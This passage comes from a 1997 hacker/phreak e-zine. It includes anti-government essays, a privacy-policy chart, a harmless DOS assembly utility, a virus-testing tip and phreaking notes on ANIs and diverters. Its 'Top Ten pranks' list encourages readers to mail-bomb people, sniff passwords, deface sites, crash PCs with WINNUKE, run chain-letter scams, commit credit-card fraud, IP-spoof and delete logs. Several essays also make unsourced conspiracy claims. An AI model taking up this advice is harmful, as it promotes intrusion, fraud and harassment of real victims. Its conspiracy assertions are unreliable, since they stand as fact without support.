questions. Also, the media was hesitant to print the Unabomber's +Manifesto...yet they were quick to take credit when Kazinski was arrested. In +fact, they were even patting themselves on the back and claimed the arrest was a +direct result of publishing the Unabomber's words. Meanwhile, many people on +this earth have a similar writing style, vocabulary etc. Only now are they +starting to reveal some of the actual evidence that was found in Kazinski's +Montana cabin. I urge people not to judge someone before they have been +convicted. Don't base your opinions solely on media propaganda you've read, +seen or heard. Make a conscious effort to become informed. Question what you +are told to believe. Use your own mind to think, instead of allowing the +media to think for you. + +Written by BLACKENED ú Damage, INC. (C)opyright 1997. + + +REPORTS FROM THE FRONT - {REPORTS} +Privacy Policy Chart - Online Service Providers + +This Privacy Policy Chart details the fair information practices of major +commercial online service providers. We arrived at these results by +analyzing the service providers' written polices (such as Terms of Service) +and policies distributed online to subscribers. Boxes marked Yes indicate +that the service provider practices this fair information policy, and that +the practice is disclosed to members. Boxes marked No indicate that the +service provider does not practice this fair information policy. Boxes +marked NP, or "No Policy", indicate that no policy statement is available +that informs the subscriber of this fair information practice. Boxes marked +n/a, or "not applicable", indicate that the specific fair information +practice does not apply to this commercial online service provider. Fair + +Information Principle Commercial Online Service + AOL CIS M$Net Prodigy +1. Does the service explain its general Yes No Yes Yes + information practices? (Notice) + +Subscription Data + +2. Does the service tell you how it Yes Yes Yes Yes + intends to use subscription data? + (Informed) +3. Can you limit the internal use of No Yes Yes Yes + subscription data for purposes + unrelated to billing and system + administration? (Consent for + Secondary Use) +4. Does the service disclose subscription Yes Yes Yes No + data to third parties, such as direct + marketers and content providers? +5. Can you limit the disclosure of + subscription data for purposes unrelated Yes Yes Yes n/a + to billing and system administration? + (Consent for Secondary Use) + +Personally Identifiable Transactional Data + +6. Does the service tell you what, if any, Yes No Yes Yes + personally identifiable transactional + data -- information about your online + activities -- they are gathering and + what they use it for? (Informed) + +Fair Information Principle Commercial Online Service + AOL CIS M$Net Prodigy + +7. Does the service allow you to limit No No No No + the collection of personally + identifiable transactional data? + (Limitation on collection) +8. Can you limit the internal use of + personally identifiable + transactional data unrelated to billing No Yes Yes Yes + and systems administration? + (Consent for Secondary Use) +9. Can you limit the disclosure of Yes Yes Yes n/a + personally identifiable transactional + data? +10. Does the service limit how information NP NP NP No + that identifies you is used by others -- + such as payment facilitators and content + providers? +11. Can you see the subscription Yes Yes Yes Yes + information the service maintains + about you? (Access) +12. Can you correct and update subscription Yes Yes Yes Yes + information? (Correction) +13. Can you see the personally identifiable NP No Yes NP + transactional information the service + maintains about you? (Access) +14. Can you correct and update personally NP No Yes NP + identifiable transactional + information? (Correction) + +Fair Information Principle Commercial Online Service + AOL CIS M$Net Prodigy + +15. Is your name and email address No No NP No + automatically made available in a + directory to other subscribers? +16. Does the service monitor public Yes NP Yes Yes + chatrooms? +17. Does the service monitor instant No NP NP No + messages? +18. Does the service monitor bulletin Yes NP Yes Yes + boards? +19. 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(Security) + +Law Enforcement Access to: + + Law enforcement access to the contents of your communications + and personally identifiable transactional data held by + commercial online service companies is governed by federal law. + All the commercial online service providers comply with the + law. + +Contents of your communications + + The Electronic Communications Privacy Act (ECPA) governs law + enforcement access to the contents of your communications. The + law was updated in 1986 to cover electronic communications + including email and computer-to-computer communications. Law + enforcement must get a warrant in order to access the contents + of your message. Whether law enforcement can get access to the + contents of your email is largely dependent on the email + retention policy of your service provider. For example, if the + policy of your service is to only retain the email header once + you've read your email, then law enforcement will not have + access to read the contents of your email. + +Personally Identifiable Transactional Data + + The Communications Assistance for Law Enforcement Act of 1994 + (commonly known as the Digital Telephony Act) amended ECPA, + increasing the privacy protection for online transactional + information. The law now includes a heightened standard for law + enforcement access to transactional data generated by + electronic communications services. Instead of a mere subpoena, + law enforcement officials must obtain a court order based on + "specific and articulable facts" that such records are + "relevant and material to an ongoing criminal investigation" + (sec 207 (a)(2)). + +Subscription Information + + Under the Communications Assistance for Law Enforcement Act of + 1994 (commonly known as the Digital Telephony Act), access to + subscription information requires an administrative subpoena. + This is a less privacy-protective standard than the standards + governing law enforcement access to the contents of your + communication or personally indentifiable transactional + information. + +For more information, write webmaster@cdt.org + + +SOURCE AND SCRIPTS - {SOURCE} + + +;File Creator Utility v1.00 (C)opyright by Damage, INC. and Kronik +;TASM /M filename.asm then TLINK /T filename.obj to assemble using +;Turbo Assembler v3.1 for DOS. FCU.COM should be 350 bytes. This +;utility just creates a 64000 byte DAMAGE.INC file from memory. +;It loops ten times to increase the total size to 640000 bytes. + + +.model tiny ;Small and efficient ;) +code segment + assume cs:code, ss:code, ds:code, es:code + + org 100h ;All COM files start here + +start: + mov ah, 9 ;Print string function + mov dx, offset menu ;pointer to menu + int 21h ;call DOS to display it + mov ah, 0 + int 16h ;get input from the user + mov dl, al + mov ah, 2 ;display the character pressed + int 21h + cmp al,63h ;"c" + je short make_file ;Yes, create file + cmp al,43h ;"C" + je short make_file ;Yes, create file + jmp short exit ;No, so exit to DOS + +make_file: + mov ah, 5Bh ;create a file + mov dx, offset file_name ;pointer to file name + xor cx, cx ;zero cx + int 21h ;call DOS to do it + xchg bx, ax ;move filehandle to bx + mov cx,10 ;# times to loop + +fill_file: + push cx ;push cx to stack + mov ah, 40h ;write to file + mov cx, 64000 ;# of bytes to write + mov dx, offset junk_stuff ;pointer to var with junk + int 21h ;call DOS to do it + pop cx ;get cx from stack + loop fill_file ;loop 10 times + jmp short close_file ;Finished + +close_file: + mov ah, 3Eh ;close file + int 21h ;call DOS to do it + mov ah, 9 ;Print string function + mov dx, offset done ;pointer to done + int 21h ;call DOS to display it + +exit: + mov ax,4c00h ;terminate process + int 21h ;Exit to DOS + + +;DATA storage area + +menu db 13, 10, 'File Creator Utility v1.00',13,10 + db '(C)opyright 1997 ' + db 'by Damage, INC. and Kronik',13,10,13,10 + db ' [C]reate a DAMAGE.INC file',13,10 + db ' [Q]uit to DOS',13,10 + db ' Command: $',13,10 + +done db '',13,10 + db 13,10, 'Finished...',13,10,'$' + +file_name db 'damage.inc', 0 ;name of the file to be created + +junk_stuff db 1 dup('Damage, INC.') ;data buffer + +code ends + end start + + +THE JOURNALIST'S TOP TEN LIST - {TOP TEN} +"Top Ten pranks on the Internet:" + + 0. E-Mail Bombing. This is a fun one to pull if some asshole on IRC + or USENET is pissing you off. Basically you get hold of either + a win95 app, or some source code that is designed to "mail-bomb" + an address. What it will do is send up to 100,000 e-mails to + your target, and the victim will have to go through and delete each + one ;) One glitch i have heard of is if you do this to a gov't site + they have "email bouncers" setup, so that every email you send to + that address is sent back to you. If this was the case, you would + essentially be e-bombing yourself! ;) + + 1. Sniffer Programs. For this you need to have access to a shell + account on your local ISP. MGL, Hookup, Sentex all provide shell + access. Golden Triangle does not however. If you happen to have + shell, you can run something called a "sniffer program." What this + does is reside in memory, and captures all logins and passwords. + It is really that easy! Once you have these, you can use any account + you wish. You can hack, email-bomb from that account, *without + getting charged any hourly rates*. Sniffer Programs can be found on + Freedom of Information Archives. + + 2. Webpage Hacking. This is a lot quicker if you have obtained accounts + using the above method. Essentially you have to obtain root on the + system that the webpage resides on. Then you can modify homepages + to make them fucked up. Fatal Vision told me the "Hackers" movie + webpage was hacked, and changed to be hilarious. There are many + ways to obtain root on the remote system, so I will not go into the + methods. To find the homepage, use cd /home/"name"/public_html or + something similar. It will be a directory residing in the user's + home directory.. (type home to see where that is). + + 3. Socket Killing. Hehehaha.. this is probably the most fun. + If there's a user on the net that is giving you lip, and + intentionally pissing you off, with a program called WINNUKE, you + can kick them off the net! It is a win95 Util that takes advantage + of one of the many glitches in the PPP code of win95. The util + sends a continual denial-of-service message to the victim, and win95 + crashes horribly at this. Not only will you be killing his internet + connection, but crashing his win95 every time. This is much more + effective if you write a script that executes WINNUKE everytime + the d00d logs in to his ISP. He will think it is something wrong + with his computer/modem/software, and it will cause him/her a *lot* + of hassle. ;) + + 4. IRC Bots. I'm sure a lot of people know what these are, but they + are always a good prank, provided you can find an IRC server that + will allow you to run them. The amount of pranks you can pull with + BOTS is amazing! You can control a dedicated channel and only let + in certain people. Or you can wreak havoc on other channels by + automating a script, making it resident, and then logging out. The + BOT keeps running even if you're not logged on, and only stops if + another BOT is clever enough to boot it, or if the sysAdmn sees it + and decides to remove it. These are just brief explanations, and + would have to be read-up on before trying! ;) + + 5. Porno E-mailing. This one is not quite as well known, but I think + is the ultimate prank. Your mark has to be a reserved, dignified + arsehole. You may want to use a fake return address for this, + (or a hacked account) but go on the net and find the raunchiest XXX + pics you can find (disgusting looking old women etc.), and e-mail them + to your victim. I'm pretty sure you can email a .JPG and it will + come up on his screen. I would love to see his face if he had people + looking at his screen when he happened to read his email. + You could also leave captions such as "The night you were conceived" + and other friendly comments like that.. haha + + 6. AOL Pranks. These major services, mainly AOL are largely responsible + for the sorry state of the internet today. Their mass-marketing + served only to lower the quality of the newsgroups, and increase + the profits of AOL. These assholes need to be avenged. + There is a program on h/p boards (refer to EOF) called AOLHELL. + I won't even go into what one can do with this, except to say that + it is worth checking out. I'm not sure if AOL has combatted the + methods used by AOLHELL, but I'm sure there are still some holes in + their interface. + + 7. Chain Letters. Everyone's seen these, all over USENET, all the + time. You can't read 10 message without one of them being a "get + rich quick" scheme. I was always very pissed off at this, and then + I figured a way to get revenge. (And possibly some cash). + Get the addresses of the people in the letter. You know they are + susceptible to the idea of fast-money. This is their downfall, + and your advantage. Email each one of the people, telling them + of some lottery they've won, or of some "super-chain-letter" that + promises 10 times the amount of the one they were on. You have + to catch their eye, and entice their interest. Make up shit, make + up phoney documents, claiming to be a legitimate fund-raising co. + What I would do is setup a Mail Box at somewhere like Shopper's + Drug Mart, and tell the people to send money to it. You never know + if it will work until you try it boys and girls... + + 8. Carding is making a comeback due to the anonymity guaranteed by + the internet. With a hacked account, you are omnipotent, untouchable + and you can use this to make money. (or get stuff). If you know + how to get credit card #'s then you can skip this, but if not, there + are a few ways to quickly get somebody else's info. (exp. date, and + card #). The first is to go "trashing." go through the garbage of + some retail outlets that might leave papers in there with interesting + info on them. Alternatively, if you are clever with hacking, you + could scan all packets leaving and entering a site that is commonly + used for purchasing things. If they have online VISA charging, I am + guessing you could watch what information goes into and out of the + server. The web page cannot decrypt the CC# before it gets there, + so there is a time lag where there are millions of Credit-Card #'s + floating around in cyberspace. The other way to get Credit Card #'s + is to simply steal them if you work at a place where people pay with + credit card. Its a lot easier if you haven't seen the face of the + person whose card it is you're using though. + Once you have the necessary info, you can pretty much + order anything you want. Software, Porno Passwords, etc. Don't + get *anything* mailed to your house. But software can usually be + emailed to your box, so no-one has a chance of knowing who did it. + + 9. I.P. Spoofing. This is an advanced topic, so I will make it + simple. One, you have to have a shell account to do this. Two + you must have a basic knowledge of how Unix/TCP_IP works. + This is a method of hacking to obtain root access on a remote + server. There are many reasons why you might want to do this, most + of the common ones are covered in this list however. + You need to d/l source code for an IP Spoofing program - yes the + hard work has already been done for you. Run the code from your + shell, and wait until you get access. I would recommend going + through and deleting any logs that might incriminate you. + +Written by The Journalist - Damage, INC. (C)opyright 1997. + + +CLOSING COMMENTS - {CLOSING} +BLACKENED's Disturbing Closing Comments: + +I'm disappointed with the lack of feedback and letters to the editor. We were +expecting more readers to send us quality, insightful comments and suggestions. +At this point, I would be actually grateful to receive hate mail to publish +and reply to. The Damage, INC. Newsletter has generated some interest in h/p +in 519... but hasn't had the type of impact that we'd hoped. The main problem +lies in the people that are "involved" in the local h/p scene. (and I'm being +generous by using the word involved). I realize there aren't many people in +this area with a tremendous amount of h/p experience and knowledge. I've even +publicly stated that we have nothing against newbies, and are willing to help +those with a legitimate desire to start learning, experimenting and putting +the information that they've given into practice by becoming active in the h/p +scene... and trying to do a few things. Thus, the majority of this issue was +dedicated to teach newbies and refer them to the essentials for beginners. + +Other than that, we cannot do everything for you. It is your responsibility +to take the initiative, become dedicated and self-taught. That's not only how +it is, but how it has always been. Reading h/p text files is only a small +portion of the learning process. It'll only take you so far. If you want to +limit yourself to that, you won't ever progress and achieve anything. However, +if you really want to become involved and contribute, let us know. + +We are also planning to distribute the Damage, INC. Newsletter to other area +codes very soon. It's possible that there will be a Damage, INC. Distribution +Site in British Columbia before January 1998. ;) + +We're still looking for Writers, Members and Distribution Sites. If you'd like +to apply to Damage, INC. and join a respected h/p group, then download a copy of +the Damage, INC. Application Generator. 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ÞÝ + + Presents the + + Damage, INC. Newsletter + + December 1997 Issue #4. + + "We're gonna phreak you out." + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + C O N T E N T S : + + +þ INTRODUCTION - An Introduction to the Damage, INC. Newsletter. + +þ BIG BROTHER BASHING - Statistics Canada and CSIS are listening and watching. + ¯ Search String: {BIG BROTHER} + +þ BLACKENED'S TIP OF THE MONTH - Virus detection techniques. + ¯ Search String: {BLACKENED} + +þ CONSPIRACIES AND COVERUPS - Bill C-17: Kiss your rights goodbye. + ¯ Search String: {COVERUPS} + +þ CORRUPTION AND GREED - Bell preys upon naive customers. + ¯ Search String: {GREED} + +þ H/P INFORMATION AND NEWS - Information on ANIs and diverters. + ¯ Search String: {NEWS} + +þ INTERVIEWS AND INTERROGATIONS - Savage Dragon's hilarious message. + ¯ Search String: {INTERVIEWS} + +þ LETTERS TO THE EDITOR - More feedback about the Damage, INC. Newsletter. + ¯ Search String: {LETTERS} + +þ OBJECTIVE OPINIONS - Timothy Leary and Drugs. + ¯ Search String: {OPINIONS} + +þ REPORTS FROM THE FRONT - Cybernauts sing the praises of Bulletin Boards. + ¯ Search String: {REPORTS} + +þ SOURCE AND SCRIPTS - DAMSMALL virus source code. + ¯ Search String: {SOURCE} + +þ THE JOURNALIST'S TOP TEN LIST - Not Available in this issue. + ¯ Search String: {TOP TEN} + +þ THOUGHTS, POEMS AND CREATIVE WRITING - A short poem titled "Awakening". + ¯ Search String: {WRITING} + +þ CLOSING COMMENTS - BLACKENED's Hostile Closing Comments. + ¯ Search String: {CLOSING} + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + +INTRODUCTION: Phreaking Bell...Phreaking Bell...Phreaking all the way. Oh + what fun it is to phreak to a new exchange. Hey. That should + get you in the spirit. ;) A special shout goes out to our + readers in B.C. We should have a Damage, INC. Dist. Site in + your area soon. To the rest of our loyal readers in 519 etc. + we haven't forgotten about you. Keep reading, learning and + experimenting. Also, I realize there are quite a few newbies + that are now reading the Damage, INC. Newsletter. We aren't + going to neglect you, so don't worry. To those that do not + enjoy reading what we write: phreak you. + + +BIG BROTHER BASHING - {BIG BROTHER} +Statistics Canada and CSIS are listening and watching: + +Statistics Canada (commonly referred to as Stats Canada) and CSIS (which +stands for Canadian Security Intelligence Service) are listening and watching. +I'm sure that if CSIS gets a copy of this article, I will be under their +surveillance. That is, if I'm not already being monitored by them. The main +purpose for writing about these two government agencies is to reveal what +they've done, show the power and control they've been given, and expose the +truth about how they work. + +Stats Canada is a very corrupt agency. It is an organization of people that +is designed to gather information on the citizens of this country. Have you +ever received a government survey in the mail addressed to you? If not, +then perhaps you've answered their questions over the phone or in person. +At any rate, Stats Canada sends out surveys in the mail. They also call +people "at random" and expect you to answer their questions. The reason I +put the words at random in quotes is because they actually target certain +people and repeatedly call them. In fact, if they call and you refuse to +answer any questions, the Stats Canada representative will become rather +angry and aggressive. I have personal experience with those bastards and +know exactly how they behave. First, they said the "survey" was mandatory. +I told them that I wasn't going to answer any of their questions over the +phone... and politely stated I don't give personal information out to absolute +strangers. Then, they replied that they can setup an appointment and ask +the questions in person. I said I wasn't interested in filling out anything +or answering any questions. That's when they snapped. The voice of the Stats +Canada representative became emotional and upset... and she said that I must +answer her questions. At that point, I was basically sick of talking to them. +However, I decided to ask what they'd do if I refused to answer any questions. +She then threatened to imprison me and said that I'm obligated by law to do +what they ask. Hahaha. I couldn't contain myself and began laughing. Then +I just made up an excuse about being unavailable. Before I hung up the phone, +she made another threat about calling back until I complete the survey. That's +just one example of how Stats Canada treats (or threatens) average citizens. + +Why does Stats Canada even exist? The sickening truth is that they exist to +gather information on us. They even target people and victimize them by +continually forcing them to answer questions, fill out surveys etc. It should +be our right not to give out personal information. We should have the option +to refuse answering their questions. Also, the information and data that they +gather isn't kept confidential... even though they claim it is. Stats Canada +has been caught *selling* people's information to private companies that create +databases. Obviously, that's an illegal act on their part. They intentionally +violate people's privacy in order to profit. It was reported a few months ago +that Stats Canada was harassing people in B.C. At least they didn't just take +it and are trying to fight them. On a side note, Stats Canada also enjoys +falsifying and manipulating the statistics that they report. As in, the +percentage of people that are unemployed, inflation, savings, the deficit etc. +You simply cannot trust any figures that they create. + +CSIS is no better though. In many respects, they are even worse than Statistics +Canada. The Canadian Security Intelligence Service (CSIS) is extremely corrupt +and untrustworthy. Several months ago, they were caught using illegal phone +taps on innocent citizen's phone lines. They use unlawful methods to gain +access to personal information. CSIS is also fond of installing bugs inside of +residences, without just cause or suspicion. They don't just break and disobey +the laws, they flaunt it by abusing their power on a regular basis. It would +be almost impossible to know if they are watching and listening... If that +isn't Big Brother in action, then the term "Big Brother" is meaningless. I was +very surprised that the RCMP would reveal the actions of CSIS and expose them, +since those two organizations usually work closely together. Perhaps there's +a much larger conspiracy at work. + +CSIS is a dangerous, secret agency. In my opinion, their sole purpose is to +keep an eye on the "dissidents" of this country. They don't seem to be very +effective at spying and doing intelligence operations in foreign countries, +thus they concentrate their efforts on us instead. CSIS infiltrated a group +named the Heritage Front, which is a "white supremacist" organization. In the +end, the undercover CSIS agent ascended through the ranks and was a leader that +spoke at meetings. Instead of just gaining information on the Heritage Front, +he actually helped them grow, become stronger, raise funds and awareness of the +group. Haha. That's a perfect example of how CSIS attempts to closely watch +an internal group of individuals, and it backfires when they benefit the group +that they've targeted. There was even a documentary on TV about the entire +ordeal. I must admit, it was hilarious to see a Heritage Front member thanking +CSIS for helping them and saying that they did absolutely no harm. Meanwhile, +we pay millions of tax dollars to fund CSIS. Why? Well, the only answer is +so that they can fuck up like in that case and waste our money. Or, so that +CSIS can bug the houses of every citizen that they deem to be "suspicious". + +If you are affiliated with a group that's anti-government, you are instantly on +their hit list. That is, no evidence is required for them to take actions +against you. Is that democracy? I think not. CSIS is comparable to the CIA +in many ways. The only major differences are that they aren't as organized, +established or powerful. The CIA has tremendous resources and their power is +far reaching (the entire world), whereas CSIS mainly spies on the people within +Canada's own borders. That is why they are the epitome of Big Brother. Time +and time again they've demonstrated their willingness to flagrantly violate the +laws, rights and invade the privacy of Canadian citizens. That's the reason +they should be eliminated before their control becomes stronger. The only +plausible way to do that is by fighting fire with fire. In other words, their +corrupt and sickening ways can be used against them. I will continue to get +information on CSIS and write articles in order to expose the truth. CSIS +actually stands for Cancer Spreading In Secrecy. The key to destroying them is +information. Instead of fearing CSIS, fight them by being prepared and by +possessing the knowledge of how they think and act. Kill the cancer. + +Written by BLACKENED ú Damage, INC. (C)opyright 1997. + + +BLACKENED'S TIP OF THE MONTH - {BLACKENED} +Virus detection techniques: + +There are many people that are paranoid about viruses these days. Therefore, +they scan their computer systems regularly with virus scanners such as F-PROT, +McAfee's Scan, TBAV, Norton Anti-Virus etc. in an attempt to feel safe. The +problem with that is, they are only given a false sense of security. Those +virus scanners can't detect every virus. Even if you use F-PROT Heuristics +Scan, you still won't be able to find everything. However, you might encounter +some false alarms as it wrongly detects files that aren't infected at all. +F-PROT's secure scan will only detect viruses that were sent to Data Fellows +to be analyzed. They disassemble it and create a scan string. Then, the +new version of F-PROT that they release looks for that code in files. It's +a rather simple method and quite primitive in a way. If you want to continue +scanning your hard drives, or new files that you download... that's fine. I'm +not trying to tell anyone not to do that. In my opinion, that isn't the safest +or most reliable way to detect viruses. + +The best method is to use another computer system for virus testing. Using +an old 286 system with a hard drive is perfect for that task. Then you can +do whatever testing you want, without worrying about files being infected etc. + +Obviously, not everyone has more than one computer available to them. That's +the reason I decided to write about virus detection techniques for those that +only have a single computer. First, you need to get a copy of HideDrive by +Damage, INC. Read the docs carefully before you attempt to use it. Basically, +HideDrive is a utility that's designed to hide and unhide hard drives. The +virus detection technique isn't difficult to use. Simply copy the suspicious +file (or a known virus) to a floppy disk, as well as several COM and EXE files. +Then use HideDrive to hide every hard drive on the system. Change from drive C: +to A:. To check and make sure that the drives were properly hidden, try +changing to them by typing C:. If the DOS error message "Invalid Drive +Specification" is reported, that means drive C: is hidden. Now execute the +suspicious or infected file on the floppy. + +The other COM and EXE files on the disk will be used for testing purposes. If +their file size, date or time changes after you try executing the suspicious +file...that means they've been infected by a virus. The virus might go memory +resident, so remove the disk and press your Reset button to be safe. You can +then view the files with a hex editor to check and see if they were overwritten +or if code was appended by the virus. Simply compare the files with the hex of +the actual virus. + +You can comment out the nuke procedure, assemble the DAMSMALL virus and safely +use it with the above method for testing. Once you have more experience using +HideDrive, you can test more complex viruses that go memory resident, use +stealth routines etc. They won't be able to do normal writes to files that are +on your hard drives (as long as they've been properly hidden first). ;) +As an example, if a virus attempted to infect COMMAND.COM (although most don't +do that for obvious reasons)... you'd probably see a DOS error message that +says "Invalid drive specification" since drive C: was hidden. That is, the +virus wouldn't be able to write to C:\COMMAND.COM. It can't infect a file that +it can't find and write to. ;) Just be careful using this method though. +HideDrive won't protect your hard drives from trojans that use BIOS writes etc. +That's the reason this method is only recommended for use with viruses. If you +have any questions, contact us. + +Written by BLACKENED ú Damage, INC. (C)opyright 1997. + + +CONSPIRACIES AND COVERUPS - {COVERUPS} +Bill C-17: Kiss your rights goodbye. + +Disclaimer: +The sections of Bill C-17 (35th Parliament session) listed below comes from the +Government of Canada web site. If there is any misinformation, they are +responsible for it. It took me hours to find confirmation that Bill C-17 +received royal assent, and was enforced by the Department of "Justice" of +Canada. The Government intentionally makes it difficult to learn about laws. +"Ignorance of the law" is their greatest weapon. + +On April 25, 1997, Bill C-17 received royal assent from the government. Its +purpose is to amend the Criminal Code, as well as some other acts. Some of +the notable sections are: Immunity to criminal prosecution if a police officer +commits a crime while undercover (too many exemptions to list); making occupancy +in a stolen vehicle a criminal offence (section 15); and punishing those that +think they committed a criminal act, even if they didn't (section 28). + +In this article, it is my intent to show you portions of Bill C-17 relating +to police searches and seizures. These revisions to the Criminal Code +formally create loopholes for police officers. I will start by showing you +section 46: + + 46. The Act is amended by adding the following after + section 487.1: + + Where warrant not 487.11 A peace officer, or a public officer who has + necessary been appointed or designated to administer or enforce + any federal or provincial law and whose duties include + the enforcement of this or any other Act of Parliament, + may, in the course of his or her duties, exercise any + of the powers described in subsection 487(1) or + 492.1(1) without a warrant if the conditions for + obtaining a warrant exist but by reason of exigent + circumstances it would be impracticable to obtain a + warrant. + +Basically, this gives a police officer an excuse if he decides to search your +premises without a warrant. Who determines the "exigent circumstances?" The +police officer of course. + +Let's look at section 41, which may be of interest to hackers and phreaks. +Section 41 deals with search and seizure of computer data. + + 41. Section 487 of the Act is amended by adding the + following after subsection (2): + + Operation of (2.1) A person authorized under this section to search + computer system a computer system in a building or place for data may + and copying + equipment + + (a) use or cause to be used any computer system at + the building or place to search any data contained + in or available to the computer system; + +Section 2.1(a) is particularly disturbing. What is considered "available to the +computer system?" Can a cop use the computer system with a modem and phone line +to search other computer systems "available to" it? The vagueness of 2.1(a) +opens up a multitude of loopholes for the investigator. + + (b) reproduce or cause to be reproduced any data + in the form of a print-out or other intelligible + output; + + (c) seize the print-out or other output for + examination or copying; and + + (d) use or cause to be used any copying equipment + at the place to make copies of the data. + +These subsections add insult to injury. The cop can seize a blank floppy under +(d) and use it to satisfy (b). Any computer hardware you own *will* be used +against you. + + Duty of person in (2.2) Every person who is in possession or control of + possession or any building or place in respect of which a search is + control carried out under this section shall, on presentation + of the warrant, permit the person carrying out the + search + + (a) to use or cause to be used any computer system + at the building or place in order to search any + data contained in or available to the computer + system for data that the person is authorized by + this section to search for; + +My own perception of this subsection is that the person being searched is +supposed to act as an assistant to the cop. Look at the words "cause to be +used." What is the scope of that? Must the person being searched provide +passwords and encryption keys in order to satisfy 2.2(a)? If so, the person +being searched either incriminates himself, or is charged with obstructing the +cop's search. + + (b) to obtain a hard copy of the data and to seize + it; and + + (c) to use or cause to be used any copying + equipment at the place to make copies of the data. + +22(b) and (c) reinforce 21(b), (c) and (d). The person being searched is +supposed to allow (assist) the cop in obtaining copies of the data. + +It would be to the advantage of the cops and crown prosecutors if the suspect +is forced to provide complete access to the data on his system. Once they +obtain access to any incriminating (or allegedly incriminating) data, they +can seize every electronic device "in or available to" the data. Under +section 48(2) (entitled Seizure without warrant) of Bill C-17, it is possible +for a police officer to seize anything that he believes was used to perform +a criminal act. If the cop doesn't want to do that, he can pick up your phone, +call up a judge and get a "telewarrant" (sections 42(7) and 44(3)) for anything +else he wants to search for or seize. + +I could go on for many more pages talking about other sections that deal with +search and seizure. However, the small amount of text that I imported from +Bill C-17 should be enough for you to realize that section 8 of the Charter of +Rights and Freedoms ("the right to be secure against unreasonable search and +seizure") is a fucking joke. Bill C-17 is nothing more than a huge government +conspiracy to make any person living in Canada vulnerable to (literally) +unwarranted police invasion. With extended powers and criminal immunity, the +police can arrest anyone for anything. The government seeks total control over +the population, and the threat of imprisonment, and financial ruin due to legal +fees, does keep some people under their thumb. + +The way I see it, they are trying to coverup the fact that they are taking +active steps to create the Canadian Thought Police. Don't assume that you have +certain rights and freedoms, because as each bill is passed they are being +raped from us. Assuming anything is a mistake in itself. + +Written by Shatazar ú Damage, INC. (C)opyright 1997. + + +CORRUPTION AND GREED - {GREED} +Bell preys on naive customers. + +Bell is a well known, fat cat company that enjoys a monopoly of telephone +service in Canada. Since they've never had to compete in an open marketplace, +they rely on their monopoly in order to finance their greedy corporate culture. +Bell is known for their total lack of respect for their customers. They +know that there is no where else for people to go for local telephone service. + +At one time, Bell had a monopoly on the telephone itself. The only "legal" +telephones were the ones that were rented directly from Bell. This policy +was enforced for decades. Then Bell was forced to soften the policy. Bell +required that one telephone must be rented from them, but extension +telephones could be purchased. That is over now. Bell can't force us to +rent one of their shitty, overpriced telephones anymore. + +Bell still makes a tremendous amount of money from naive customers that +continue to rent telephones. Why do these people choose to rent a telephone +from Bell? Unlike major household items, a telephone is a relatively +inexpensive machine. Telephones are also fairly uncomplex, so they can be +used for decades without having any kind of a breakdown. I personally fail +to see why anyone should rent a telephone. Unless the intent of telephone +renters is to feed Bell's greed by joyfully putting money into their pocket. +:-( + +Bell's primary residential phone renters can generally be put into two +groups. The first groups are young yuppies that rent the "top of the line" +telephone with all the little Bell buttons. They "need the best" to compete +with their snobby neighbours. Since they may not be able to afford one +that costs $250 or more, they rent it. These morons also believe that blowing +money on all of Bell's services (Call Screening, Caller-ID, etc.) is a +necessity. If these people would have a little bit of self-control, they would +save up enough money to buy the phone outright. + +I do have some sympathy for the second group of Bell telephone renters; the +elderly. They are from the era of the Bell "rental monopoly" and many haven't +realized that they can return Bell's phone and own their own. Most seniors are +trusting people, so they don't tend to look at their telephone bill carefully. +They don't realize how much money they have allowed Bell to take from them. Of +course, Bell is careful to let seniors think that their corrupt telephone +policies are still in effect. To this day, Bell service operators still ask "Do +you have a Bell phone?" + +However, I have found it isn't a total waste of time to inform seniors how they +are being gauged by Bell. My grandmother rented a Harmony touch tone telephone +from Bell for 13 years. Bell charged her $3.55 per month, plus 15% taxes. That +works out to be $48.99 per year. (Try multiplying $48.99 by the millions of +people that rent phones from "Ma Bell" :-(). A refurbished Harmony phone costs +$14.99 ($17.29 with taxes) at a discount department store. A new Harmony phone +doesn't cost much more than $25. Here is the real kicker. Performing simple +math, 13 * $48.99 equals $636.87. That doesn't even count the years she rented +one of those ancient, black rotary phones that sit in many bedrooms, basements, +attics and barns throughout Canada. + +When I found out that she was renting, I helped her by doing the above +calculations. And she understood them. She paid for 40 refurbished Harmony +phones over the past 13 years. She decided that she wanted to stop the eternal +bleeding that Bell was causing. We returned the Harmony phone to Bell, and she +bought a new telephone with large buttons, which will pay for itself in two +years. + +I recommend that you do the same thing for the naive. Ask you parents, your +grandparents, and everybody else you have respect for if they rent a phone from +Bell. Help them out with some simple mathematics. Let them know how many +telephones they could have bought with the money they gave to Bell. Hopefully, +they will no longer want to be a part of the rental scam that Bell has been +profiting from since their corrupt beginnings. Either that or you can take +matters into your own hands. Since Christmas is near, you could cross one +gift off of your list by buying them a telephone. You'll also be eliminating a +little bit from Bell's income statement. 'Tis always the season to fight back +against Bell! ;-) + +Written by Shatazar ú Damage, INC. (C)opyright 1997. + + +H/P INFORMATION AND NEWS - {NEWS} +Information on ANIs and diverters: + +This section was written and intended for newbies that have little or no +phreaking experience. First, I'd like to clear up some misconceptions. I've +been asked questions such as "Does *67 cost anything?" many times by users +on boards in 519. *67 is free. Also, I've seen people ask "Does *67 block +out the phone number if the other person uses *69 after you hang up?" Yes, +your number won't be reported to them. "Does *67 get around call screening?" +No, it doesn't. If the person uses call screening to prevent you from calling +them from a certain number, you need to use a diverter. ;) Maybe a complete +list of Bell *## codes and what they do is necessary. + +ANIs/ANACs and diverters are two things that novice phreaks should definitely +learn and know about. They are both very important and useful for several +reasons. ANACs (Automatic Number Announcement Circuits) can be local or 1-800 +numbers etc. As an example, you dial the number 1-800-555-5555 and it reports +what your number is. Obviously, it's useful for finding out the number while +you're beige boxing...but also for finding out if an extender diverts. If you +have an extender and want to find out if it's also a diverter, simply use it to +call an ANI. Not all extenders divert though. Plus, there are occasions when +you need a local diverter that isn't an extender. For example, if you wanted +to call a local ISP and divert your number. To find diverters, use ToneLoc to 